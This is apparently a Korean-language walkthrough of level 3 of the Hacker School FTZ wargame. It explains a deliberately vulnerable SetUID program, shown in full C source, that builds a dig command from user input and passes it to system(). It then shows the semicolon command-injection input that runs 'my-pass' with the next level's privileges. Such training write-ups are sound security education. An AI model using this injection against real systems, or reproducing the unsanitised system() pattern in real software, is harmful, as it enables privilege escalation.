Hacker School FTZ
- level 3 -

1. hint 파일 살펴보기

```
[level3@ftz level3]$ ls
hint  public_html  tmp
```

처음 접속하여 ls 명령어를 이용해 현재 디렉토리를 살펴보았다.
hint라는 파일이 존재하는 것을 확인할 수 있다.

```
[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
```

cat 명령을 이용해 hint 파일의 내용을 살펴보았다.
소스의 내용을 어림잡아 해석해보았을 때, 프로그램 실행 시, main 함수에 전달되는 인수가 2개가 아니면 바로 프로그램이 종료되는 것을 확인할 수 있었다.
인수가 2개일 경우 dig 명령어가 인수와 함께 문자열로 만들어져 system 함수를 통해 실행되는 것을 알 수 있다.

※ argc (argument count)
main 함수에 전달되는 정보의 개수로, 프로그램 실행 시 전달되는 인수의 개수이다.

※ argv (argument variable)
main 함수에 전달되는 실질적인 정보이다.
문자열의 주소를 저장하는 포인터 배열로 argv[0]은 프로그램의 실행경로를 나타낸다.
argv[1]부터는 사용자가 프로그램 실행 시 전달되는 인수의 정보이다.

※ dig
DNS 정보를 조회하고 진단하기 위한 명령어이다. nslookup과 비슷한 동작을 한다.
"dig @[서버] [도메인] [쿼리 타입]"으로 사용한다.

※ 동시에 여러 명령어를 사용하려면?
리눅스에서 여러 명령어를 동시에 사용하기 위해서는 "(명령어1) | (명령어2)"와 같은 방식으로 사용하면 된다. 여기서 "|" 문자는 파이프라인이라고 부른다. 만약, test라는 파일에서 특정 문자열인 "abc"를 보고 싶다고 한다면, cat test | grep "abc"와 같은 식으로 사용할 수 있다.
또는 "; (세미콜론)"을 이용한다. 세미콜론을 사용하면 그 위치까지만 한 문장으로 취급한다. 세미콜론 이후부터는 새로운 문장으로 취급하여 앞 명령어가 끝난 후 뒤 명령어가 실행된다.

※ 문자열 형태로 명령어를 전달하려면?
문자열 형태로 명령어를 전달하기 위해서는 ""(큰 따옴표)를 사용하면 된다.
위 설명에서 abc 값을 찾기 위해 grep "abc"를 한 것처럼 문자열을 ""로 감싸주면 된다.

2. autodig 파일 찾기

hint에서 autodig 파일의 소스를 보여주었으므로 이 파일을 이용할 수 있을 것이다.
따라서, autodig 파일을 찾아봐야 한다.

```
[level3@ftz level3]$ find / -name autodig 2>/dev/null
/bin/autodig
```

파일 이름이 autodig인 파일을 find 명령어를 이용해 검색해보았더니 /bin/autodig 경로가 존재하였다.

```
[level3@ftz level3]$ ls -l /bin/autodig
-rwsr-x---    1 level4   level3      12194  9월  10  2011 /bin/autodig
```

ls -l 명령을 통해 해당 경로를 살펴본 결과, level4 권한의 SetUID가 걸린 실행 파일인 것을 확인할 수 있었다.

3. autodig 실행

/bin으로 이동해 autodig 파일을 실행해보자.

```
[level3@ftz bin]$ ./autodig 127.0.0.1 | "my-pass"

Level3 Password is "can you fly?".
```

dig 명령을 이용하기 위해 루프백 주소를 넣고 my-pass를 통해 비밀번호를 얻으려고 시도하였다.
하지만, dig 명령이 모두 수행되어 SetUID 권한을 잃어버리게 되고 그 시점에서 my-pass 명령어를 사용하였기 때문에 level3의 비밀번호만 얻어졌다.

```
[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known

Level4 Password is "[redacted]".
```

이번에는 세미콜론을 이용해 autodig 파일을 실행해보았다. 그러자 SetUID를 통해 level4의 권한을 얻은 상태에서 dig 명령어는 세미콜론으로 인해 종료되고 바로 다음 명령어인 my-pass 명령어가 실행되어 level4의 비밀번호를 얻은 것을 확인할 수 있었다. system 함수가 콜 될 때 명령어는 “dig @;my-pass version.bind chaos txt”이다. 뒤에 “version.bind chaos txt”는 my-pass 함수를 통해 무시되었다는 것을 알 수 있다.
이를 따로 기록하여 level4 로그인 시, 이용하자.